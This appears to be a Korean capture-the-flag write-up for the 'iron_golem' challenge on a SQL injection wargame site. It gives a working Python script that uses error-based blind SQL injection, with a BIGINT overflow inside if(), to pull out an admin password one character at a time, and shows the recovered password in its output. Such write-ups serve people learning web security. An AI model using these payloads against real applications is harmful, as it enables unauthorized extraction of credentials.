이번문제는 SQL의 에러출력을 이용하여 해결하는 문제이다.
if함수를 응용하여 참일때 Error출력 혹은 거짓일때 Error출력을 출력하면 이전까지의 BlindSQL Injection문제와 동일하게 해결할 수 있다.
if함수의 참부분에 0xFFFFFFFFFFFFFF*0xFFFFFFFF
을 입력하면 INT가 오버플로우되어 SQL에러가 발생하게 된다.(BIGINT)
PythonCode
sql.setProb("iron_golem")
#find pwlen
for i in range(50):
sql.setData(pw="' or id='admin' and if(length(pw) > {min}, 0xFFFFFFFFFFFFFF*0xFFFFFFFF,false) %23".format(min=i))
sql.run(out=False)
if "BIGINT" not in sql.result:
sql.load("payload -> "+str(i))
sql.res("PWLEN :"+str(i))
pwlen=i
break
else:
sql.load("payload -> "+str(i))
#FIND PW
pw=""
for i in range(1,pwlen+1):
for asc in range(48,127):
sql.setData(pw="' or id='admin' and if(mid(pw,{i},1) = '{c}', 0xFFFFFFFFFFFFFF*0xFFFFFFFF,false) %23".format(i=i,c=chr(asc)))
sql.run(out=False)
if "BIGINT" in sql.result:
pw+=chr(asc)
sql.load("pw : "+pw)
break
pw=pw.lower()
sql.setData(pw=pw)
sql.run()
OUTPUT
[%] payload -> 32
[>] PWLEN :32
[%] pw : 06B5A6C16E8830475F983CC3A825EE9A
[+] DATA : https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=06b5a6c16e8830475f983cc3a825ee9a
[*] ANSWER ▽
IRON_GOLEM Clear!